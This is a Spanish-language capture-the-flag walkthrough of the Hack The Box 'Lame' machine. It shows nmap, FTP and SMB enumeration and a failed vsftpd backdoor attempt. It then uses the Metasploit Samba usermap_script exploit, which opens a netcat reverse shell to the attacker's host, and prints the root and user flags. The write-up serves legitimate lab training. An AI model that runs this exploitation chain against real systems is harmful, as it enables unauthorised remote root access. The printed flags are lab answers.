



HACKTHEBOX



Lame

22nd July 2024 / Document No D24.100.293

Prepared By: Arrexel & C4rm3l0

Machine Author: ch4p

Difficulty: **Easy**

Classification: Official

Maquina: LAME, SO: Linux

IP: 10.10.10.3

Lame es una maquina Linux publicada en Hack The Box, solía ser la primera maquina para los nuevos usuarios, solo requiere un exploit para obtener acceso como root.

Lo que veremos será una guía de paso a paso la solución para acceder como root y capturar las flags de la máquina, detallaremos algunos parámetros para explicarlos y que me ayudo a entender.

Habilidades Requeridas

- Conocimientos básicos de Linux
- Enumeración de puertos y servicios

Habilidades Adquiridas

- Identificación de servicios vulnerables
- Explotación de **Samba**

El primer paso que haremos será conectarnos a una VPN de HackTheBox, podremos descargar el archivo desde la propia plataforma, nos descargará un archivo. ovpn que tendremos que ejecutar utilizando Openvpn que se usa para iniciar y gestionar conexiones VPN, nos permite conectarnos de forma segura a una red privada a través de internet.

para poder conectarnos lo que haremos será escribir el siguiente comando.

```
(caan31@vbox)-[/media/sf_vm]
$ sudo openvpn lab_Aragon3105.ovpn
```

```
10.10.16.40
```

Una vez ejecutado el comando, podremos ver que nuestra ip ha cambiado, si no estas seguro puedes ejecutar el comando ifconfig y veras como aparece una nueva interfaz de red:

tun0 → si es una conexión TUN (más común)

tap0 → si es una conexión TAP (menos común, capa 2)

Vamos a comprobar que tenemos conectividad entre nuestro equipo y la maquina atacada.

El parámetro -c 1 le dice a ping que solo envíe 1 paquete ya que por defecto manda infinitos hasta cancelarlo.

```
(caan31@vbox)-[~]
$ ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=33.6 ms

--- 10.10.10.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 33.564/33.564/33.564/0.000 ms
```

Una cosa que podemos fijarnos si en algún caso no sabemos con que maquina nos encontramos es en el parámetro **TTL**

Sistema operativo	TTL inicial común
Windows	128
Linux/Unix/macOS	64
Routers/Cisco	255

Así que, si ves un TTL de 64, 128 o 255 en la respuesta, puedes adivinar desde qué sistema te están respondiendo

El primer paso que haremos es escanear los puertos que tenga abierta la maquina con el comando **nmap**, el apartado que utilizamos **-Pn** sirve para desactivar la detección de host, es decir **nmap** no envia paquetes ICMP (ping), asume que el host esta activo y procede directamente al escaneo de puertos.

```
(caan31@vbox)-[~]
$ nmap -Pn 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 14:22 CEST
Nmap scan report for 10.10.10.3
Host is up (0.056s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds
```

Podemos comprobar que tenemos varios puertos abiertos, ahora ejecutaremos **nmap** especificando cada puerto que hemos encontrado con el apartado **-p**, con el apartado **-sCV** combina dos herramientas, para obtener más información del servicio como versiones, usuarios anónimos en FTP, vulnerabilidades básicas, intentar identificar la versión exacta

```
(caan31@vbox)-[~]
$ nmap -p21,22,139,445 -sCV -Pn 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 14:23 CEST
Nmap scan report for 10.10.10.3
Host is up (0.075s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 10.10.16.40
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPD 2.3.4 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2025-04-14T08:25:13-04:00
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ clock-skew: mean: 2h01m39s, deviation: 2h49m45s, median: 1m36s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.75 seconds
```

Como vimos al ejecutar podemos intentar ingresar al servicio FTP con el usuario Anonymous que por defecto no se necesita ninguna contraseña.

Ejecutamos el comando **ls** para listar los contenidos y **ls -la** para los contenidos incluidos los ocultos, al ver que no tenemos nada que nos pueda ayudar a acceder a la flag vamos a intentarlo con otro método.

```
(caan31@vbox)-[~]
$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPD 2.3.4)
Name (10.10.10.3:caan31): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||8249|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||54975|).
150 Here comes the directory listing.
drwxr-xr-x  2 0          65534   4096 Mar 17  2010 .
drwxr-xr-x  2 0          65534   4096 Mar 17  2010 ..
226 Directory send OK.
ftp>
```

Vamos a intentar buscar un exploit con searchsploit que forma parte de una base de datos que permite buscar exploits conocidos. Al escanear los puertos abiertos podemos ver la versión que nos encontramos de ftp.

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.10.16.40
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
| vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

Aquí podemos ver que cuenta con una vulnerabilidad de puerta trasera.

```
(caan31@vbox)-[~]
$ searchsploit vsftpd 2.3.4
Exploit Title | Path
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/17491.rb
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
```

Para poder explotar la vulnerabilidad, utilizaremos la herramienta de metasploit, para ejecutar deberemos ejecutar el siguiente comando.



Una vez ejecutado podemos buscar el exploit que necesitemos con lo que encontramos anteriormente.

Con el comando **use** podremos abrir el panel para ejecutar el exploit, para poder ver lo que nos pide para poder realizar el exploit utilizaremos el comando **show options**, la mayoría de las veces nos pedirá el **RHOSTS** que es la **IP** de la maquina atacada.

Con el comando **set RHOSTS "IP"** le daremos valor de la ip para poder ejecutar el exploit.

Al ver que no nos permite acceder podemos llegar a la conclusión que esta versión no nos permite ejecutar el **exploit** de la puerta trasera.

```
msf6 > search vsftpd 2.3.4

Matching Modules
=====
#  Name
--  --
0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 10.10.10.1 dev [NULL]
    excellent No VSFTPD v2.3.4 Backdoor Command Execution 10.10.10.1 dev [NULL]

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      The local client address
CPORT      The local client port
Proxies    A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
```


La siguiente opción que tenemos es con otro puerto que este abierto que es el servicio de SAMBA, podremos ver la versión con la que nos encontramos en el escaneo de puertos que ejecutamos anteriormente.

```
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (work
group: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_
kernel
Host script results:
| smb-security-mode: | NTLM,TCP device
| account_used: guest
| authentication_level: user
| challenge_response: supported
| message_signing: disabled (dangerous, but default)
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ clock-skew: mean: 2h01m39s, deviation: 2h49m45s, media
n: 1m36s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-04-14T08:29:15-04:00
```

Con el comando smbmap nos permitirá enumerar recursos compartidos y ver que permisos tiene el usuario sobre esos recursos, con el parámetro -H nos permitirá mostrar la ayuda de la herramienta

```
(caan31@vbox)~$ smbmap -H 10.10.10.3
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com
<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap
```

Podemos ver que tmp tiene permisos de lectura y escritura, así que intentaremos conectarnos directamente

```
[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk (The listen address for interface may be specified) Permissions C
comment (The listen port)
-----
print$ NO ACCESS P
Printer Drivers
tmp READ, WRITE o
h noes!
opt NO ACCESS
IPC$ NO ACCESS I
PC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS I
PC Service (lame server (Samba 3.0.20-Debian))
[\\] Closing connections..
[!] Closing connections..
[/] Closing connections..
[-] Closing connections..
[*] Closed 1 connections
```

Con el comando smbclient es como usar FTP pero para SMB, que nos permite conectarnos manualmente a recursos compartidos, con el parámetro -N nos dice que a smbclient que no use credenciales, de igual manera que ftp que entre con el usuario Anonymous

```
(caan31@vbox)-[~]
$ smbclient -N \\10.10.10.3\tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.                  D          0 Mon Apr 14 14:48:40 2025
..                 DR         0 Mon Apr 14 14:31:14 2025
5577.jsvc_up       R          0 Mon Apr 14 10:33:46 2025
orbit-makis       DR         0 Mon Apr 14 12:25:31 2025
kxozbx            N          0 Mon Apr 14 14:03:16 2025
qxvvvh            N          0 Mon Apr 14 13:47:01 2025
f                N          0 Mon Apr 14 14:37:56 2025
.ICE-unix         DH         0 Mon Apr 14 10:32:43 2025
vmware-root       DR         0 Mon Apr 14 10:33:00 2025
renmjk            N          0 Mon Apr 14 14:04:04 2025
.X11-unix         DH         0 Mon Apr 14 10:33:09 2025
o.sh              A          2 Mon Apr 14 13:21:43 2025
vbfyivr           N          0 Mon Apr 14 13:07:52 2025
gconfd-makis      DR         0 Mon Apr 14 12:25:31 2025
dsahnpo           N          0 Mon Apr 14 11:43:06 2025
.X0-lock          HR        11 Mon Apr 14 10:33:09 2025
effck             N          0 Mon Apr 14 14:06:20 2025
vgauthsvclog.txt.0 R        1600 Mon Apr 14 10:32:41 2025

2782168 blocks of size 1024. 5385736 blocks available
smb: \>
```

Podemos ver que podemos ingresar al servicio smb, ejecutamos un listado de los contenidos, vemos dos cosas que nos pueden interesar, una carpeta con el nombre root y un archivo txt, intentamos ingresar primero a la carpeta y podemos ver que no contamos con permisos.

```
smb: \> cd vmware-root\
smb: \vmware-root\> ls
NT_STATUS_ACCESS_DENIED listing \vmware-root\*
```

Vamos a leer el archivo txt, lo vamos a llevar a nuestra maquina con el comando get y luego lo leeremos a ver si encontramos algo que nos sirva.

```
smb: \> get vgauthsvclog.txt.0

smb: \vmware-root\> exit

(caan31@vbox)-[~]
$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos vgauthsvclog.txt.0

(caan31@vbox)-[~]
$ cat vgauthsvclog.txt.0
[Apr 14 04:32:41.789] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Apr 14 04:32:41.789] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Apr 14 04:32:41.789] [ message] [VGAuthService] Group 'service'
[Apr 14 04:32:41.789] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Apr 14 04:32:41.789] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Apr 14 04:32:41.851] [ message] [VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[Apr 14 04:32:41.851] [ message] [VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[Apr 14 04:32:41.851] [ message] [VGAuthService] Group 'service'
[Apr 14 04:32:41.851] [ message] [VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[Apr 14 04:32:41.851] [ message] [VGAuthService] Pref_LogAllEntries: End of preferences
[Apr 14 04:32:41.851] [ message] [VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'
[Apr 14 04:32:41.851] [ message] [VGAuthService] INIT SERVICE
[Apr 14 04:32:41.851] [ message] [VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
[Apr 14 04:32:41.883] [ message] [VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
[Apr 14 04:32:41.913] [ message] [VGAuthService] SAML_Init: Allowing 300 of clock skew for SAML date validation
[Apr 14 04:32:41.913] [ message] [VGAuthService] BEGIN SERVICE
```

Como podemos ver, no contiene nada interesante, así que pasaremos al paso de antes, buscar un exploit de la versión de SAMBA.

```
(caan31@vbox)-[~]
$ searchsploit Samba 3.0.20
```

Exploit Title	Path
Samba 3.0.10 < 3.3.5 - Format String / Sec	multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map	unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (P	linux_x86/dos/36741.py

Shellcodes: No Results

De igual manera lo ejecutaremos y vemos que nos pide la ip de la maquina atacante, repetimos los pasos que hicimos anteriormente.

```
msf6 > search Samba 3.0.20
Matching Modules
-----
#  Name
0  exploit/multi/samba/usermap_script
Samba "username map script" Command Execution

Disclosure Date  Rank  Check
2007-05-14      excellent No

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):
Name      Current Setting  Required  Description
-----
CHOST      192.168.1.75     no        The local client address
CPORT      4444             no        The local client port
Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     []               yes       The target host(s), see https://docs.metasploi
RPORT      139              no        The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
Name      Current Setting  Required  Description
-----
LHOST     192.168.1.75     yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  ---
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
```



```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.1.75:4444
[*] Exploit completed, but no session was created.
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.40
LHOST => 10.10.16.40
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  | 10.10.10.3      | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 139             | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/reverse_netcat):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 10.10.16.40     | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

No es la interfaz más gráfica, ni bonita, pero se llega a entender.

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.16.40:4444
[*] Command shell session 1 opened (10.10.16.40:4444 → 10.10.10.3:44679) at 2025-04-14 15:01:53 +0200

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
initrd.img.old
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
```

Haremos un cd a la carpeta de root y podremos encontrar un txt, si ejecutamos un cat para leer el fichero podremos encontrar la flag.

```
cd root
ls
3TfG2Cmq
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
e26e43628249757b39bc83809bade60e
```

Ahora para la flag del usuario de igual manera nos dirigiremos al directorio donde se encuentran los usuarios. /home y podemos ver los usuarios con los que cuentan, nos movemos a la carpeta del usuario **makis** y con un **ls** podremos encontrar de igual manera un **txt** donde esta la flag.

```
cd /home
ls
ftp
makis
service
user
cd makis
ls
HNxZ3lr0
malicious_file.exe
user.txt
cat user.txt
bb25491382905243bfb8f463943b9ba4
```

Esto más que una guía, es una inspiración a futuro para ver mi evolución.